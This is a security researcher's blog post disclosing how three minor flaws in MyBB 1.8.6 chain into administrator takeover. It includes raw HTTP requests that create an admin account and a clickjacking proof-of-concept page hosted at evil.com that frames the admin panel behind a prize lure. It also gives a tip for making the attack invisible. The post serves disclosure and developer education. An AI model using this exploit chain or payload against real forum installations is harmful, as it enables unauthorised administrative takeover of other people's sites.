How Ignoring Low-Level Security Risks Can Open the Door to Major Attacks

With the rise in attacks against web applications, cyber security teams naturally have prioritized the elimination of high-risk threats, such as SQL injections and cross-site scripting (XSS) vulnerabilities. The flip side of this is that many cybersecurity teams choose to ignore or delay the remediation of low-level security vulnerabilities in their web applications. Unfortunately, this isn’t a wise strategy. Underestimating the importance of fixing low-level security issues could create a major problem for an organization. Why? By exploiting a combination of seemingly trivial vulnerabilities, attackers can sometimes open up a big security gap that lets them do extreme damage. In this article, I will demonstrate such a scenario, showing how by taking advantage of several unfixed low-level security issues, an attacker could gain full administrator access to a popular web application.

Three low level issues discovered in MyBB

In a recent audit of MyBB, I found three low-level security issues which, if exploited in aggregate, could allow a hacker to gain total control of this open source application which people use to create discussion forums. The issue has been partially addressed in its latest version — MyBB 1.8.7 – so users are no longer vulnerable to the danger described here.

MyBB 1.8.6 contains the following minor security issues, which seem trivial if they are evaluated separately.

“GET” and “POST” methods are not distinguished

The “GET” and “POST” methods are the most commonly used for making HTTP requests. From a security perspective, using the POST method to submit sensitive data is always recommended. Those interested in learning in detail the security differences between the “POST” and “GET” methods should read this article which goes into fine-grained detail.

MyBB adopts the “POST” method at its ACP (Administrator Control Pages) for submitting sensitive data, such as, add users, web application setting and database backup. However, the web application does not strictly distinguish “POST” and “GET” requests, although it is designed to use the “POST” method by default for some types of sensitive requests, such as adding an “administrator” user.

POST /mybb/Upload/admin/index.php?module=user-users&action=add HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://yourhost/mybb/Upload/admin/index.php?module=user-users&action=add
Cookie: acploginattempts=0; adminsid=543823e3302beac5eadb8ac4eb14d0ab
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 186

Data: my_post_key=ee915bd1984d830b37cf1eff81e1fd2f&username=admin2&password=Password%21&confirm_password=Password%21&email=test%40qualys.com&usergroup=4&additionalgroups%5B%5D=4&displaygroup=4

However, you can change the “POST” request to the “GET” method. The application will let the “GET” request go through and a new administrator user will be added in the database of the server. This clearly indicates that the web application does not distinguish between “GET” and “POST” methods.

GET /mybb/Upload/admin/index.php?module=user-users&action=add&my_post_key=ee915bd1984d830b37cf1eff81e1fd2f&username=admin2&password=Password%21&confirm_password=Password%21&email=test%40qualys.com&usergroup=4&additionalgroups%5B%5D=4&displaygroup=4 HTTP/1.1

Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://yourhost/mybb/Upload/admin/index.php?module=user-users&action=add
Cookie: acploginattempts=0; adminsid=543823e3302beac5eadb8ac4eb14d0ab
Connection: close

Now, one could argue that this issue by itself doesn’t pose a potential risk because neither “GET” nor “POST” requests will go through without a valid value in the “my_post_key” parameter (my_post_key is acting as a CSRF token role); and it is not possible to forge this parameter value.

But this minor issue could be escalated to be a high level issue after exposing the second low level vulnerability discussed below.

Data is processed before the CSRF (cross-site request forgery) validation

If you modify the “GET” request by removing the my_post_key parameter in the URL, the “GET” request is transformed and sent. Surprisingly, the “GET” request is partially processed and the forged values are parsed into the user input fields in the response body, although the request does not actually go through to the server.

GET /mybb/Upload/admin/index.php?module=user-users&action=add&username=admin2&password=Password%21&confirm_password=Password%21&email=test%40qualys.com&usergroup=4&additionalgroups%5B%5D=4&displaygroup=4 HTTP/1.1

Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://yourhost/mybb/Upload/admin/index.php?module=user-users&action=add
Cookie: acploginattempts=0; adminsid=543823e3302beac5eadb8ac4eb14d0ab
Connection: close

A robust server should block the request and forbid parsing the forged value when it detects the CSRF token is not valid or is missing. But in this case, the web application is still parsing the forged value and entering the forged value into the input field despite the missing my_post_key parameter in the request.

Clickjacking vulnerability

The absence of a clickjacking countermeasure is another security issue in this application. This one is the last nail in the coffin. By taking advantage of this vulnerability, the ACP pages could be framed by an attacker and he or she could trick the victims into clicking on something inadvertently.

Gain admin access of by using these vulnerabilities

After exploiting all these minor security issues, it would be as easy as taking candy from a baby for an attacker to gain administrator access. The following part is a simplified proof of concept to demonstrate how easy it could be to obtain administrator access.

Proof of Concept

The admin user logs into his or her MyBB application and receives an email or a comment from an attacker. The email or comment contains a link http://evil.com/howtousemybb.php  and the link is coded with following content. The codes are straight-forward: it is framing the ACP page by a crafted link with forged values.

<style>
iframe {
width:1200px;
height:900px;
position:absolute;
top:0; left:0;
filter:alpha(opacity=50);
opacity:0.1;
}
</style>
<div>Click on the link to get rich now:</div>
<iframe src=‘http://yourhost/mybb/Upload/admin/index.php?module=user-users&action=add&my_post_key=&username=admin2&password=Password&confirm_password=Password&email=test%40qualys.com&usergroup=4&displaygroup=4’ ></iframe>
<a href=”http://www.google.com” target=”_blank” style=”position:relative;left:550px;top:830;z-index:-1″>CLICK ME To Win An IPHONE!</a>

When the admin opens the link and clicks on “CLICK ME to Win An IPHONE”, the game is over. An administrator with username admin2 has been added to the database and the attacker could use this administrator account to do anything he wants. You could make the attack stealthier by changing the codes. For example, if you set the opacity to 0, the admin might not even be able to see the framed content. Here’s a snapshot of the POC.

Lessons

As the saying goes, small leaks will sink a big ship. We have just shown you how several low-level security issues could crack the hull of your web application. This danger is especially real these days when cyber attackers have become particularly sophisticated and don’t limit themselves to traditional exploits.

It is not uncommon to see some low-level security flaw reside in a web application for a long time, even though the Qualys WAS (Web Application Scanner) flags these security holes. I hope this article flashes a red warning light for webmasters and web developers the next time they have to decide whether to ignore low-level security issues.